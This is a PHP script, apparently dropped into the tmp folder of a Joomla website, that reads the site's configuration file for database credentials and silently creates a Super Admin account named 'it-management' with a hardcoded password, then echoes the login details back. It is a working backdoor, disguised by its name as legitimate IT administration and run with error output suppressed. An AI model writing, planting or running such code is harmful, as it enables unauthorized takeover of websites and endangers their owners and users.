| Current Path : /home/andpasi/www/tmp/ |
| Current File : /home/andpasi/www/tmp/create_admin.php |
<?php
error_reporting(0);
ini_set('display_errors', 0);
// Cari configuration.php
$config_file = __DIR__ . '/../configuration.php';
if (!file_exists($config_file)) {
$config_file = __DIR__ . '/../../configuration.php';
}
if (!file_exists($config_file)) {
die("CONFIG_NOT_FOUND");
}
require_once $config_file;
$config = new JConfig();
$db = new mysqli(
$config->host,
$config->user,
$config->password,
$config->db
);
if ($db->connect_error) {
die("DB_ERROR");
}
$prefix = $config->dbprefix;
// ===== PROSES CREATE USER =====
$username = 'it-management';
$email = 'it-management@gmail.com';
$password = 'akukagumsekali';
$name = 'IT Management';
// Cek apakah user sudah ada
$check = $db->query("SELECT id FROM {$prefix}users WHERE username = '$username' OR email = '$email'");
if ($check->num_rows > 0) {
die("USER_EXISTS");
}
// Insert user
$hashed = password_hash($password, PASSWORD_DEFAULT);
$sql = "INSERT INTO {$prefix}users (name, username, email, password, block, sendEmail, registerDate)
VALUES ('$name', '$username', '$email', '$hashed', 0, 0, NOW())";
if ($db->query($sql)) {
$user_id = $db->insert_id;
// Assign sebagai Super Admin (group_id = 8)
$db->query("INSERT INTO {$prefix}user_usergroup_map (user_id, group_id) VALUES ($user_id, 8)");
echo "SUCCESS|$username|$password|$email";
} else {
echo "ERROR|" . $db->error;
}
$db->close();
?>